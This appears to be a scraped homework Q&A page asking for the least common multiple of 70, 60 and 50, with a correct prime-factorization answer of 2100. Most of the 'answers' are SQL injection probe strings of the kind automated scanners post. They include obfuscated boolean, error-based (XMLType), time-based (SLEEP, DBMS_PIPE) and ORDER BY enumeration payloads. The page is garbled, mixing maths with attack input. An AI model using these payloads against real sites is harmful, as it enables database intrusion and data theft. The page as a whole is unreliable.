Take the prime factorization of each number:
70=2*7*5
60=2*2*3*5
50=2*5*5
Do 2*2*5*5*3*7=2100
What is the least common multiple of 70, 60, and 50 ?
13 answers
70,60,5
'pWLmJC<'">HNZGuz
)/**/AND/**/5815=5030/**/AND/**/(9031=9031
')/**/AND/**/9704/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(9704=9704)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(122)+CHAR(113)))/**/AND/**/('YfSY'='YfSY
'/**/AND/**/9704/**/IN/**/(SELECT/**/(CHAR(113)+CHAR(120)+CHAR(98)+CHAR(122)+CHAR(113)+(SELECT/**/(CASE/**/WHEN/**/(9704=9704)/**/THEN/**/CHAR(49)/**/ELSE/**/CHAR(48)/**/END))+CHAR(113)+CHAR(112)+CHAR(118)+CHAR(122)+CHAR(113)))/**/AND/**/'EiNg'='EiNg
)/**/AND/**/5607=(SELECT/**/UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(98)||CHR(122)||CHR(113)||(SELECT/**/(CASE/**/WHEN/**/(5607=5607)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||CHR(113)||CHR(112)||CHR(118)||CHR(122)||CHR(113)||CHR(62)))/**/FROM/**/DUAL)/**/AND/**/(3783=3783
';SELECT/**/DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(112)||CHR(84)||CHR(101),15)/**/FROM/**/DUAL--
)/**/AND/**/(SELECT/**/4858/**/FROM/**/(SELECT(SLEEP(15)))Riew)/**/AND/**/(1576=1576
'/**/AND/**/(SELECT/**/4858/**/FROM/**/(SELECT(SLEEP(15)))Riew)/**/AND/**/'qQlo'='qQlo
/**/AND/**/3795=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65)||CHR(76)||CHR(116)||CHR(69),15)--/**/VFVV
)/**/ORDER/**/BY/**/1--/**/gtHu
/**/ORDER/**/BY/**/3783--/**/aCGG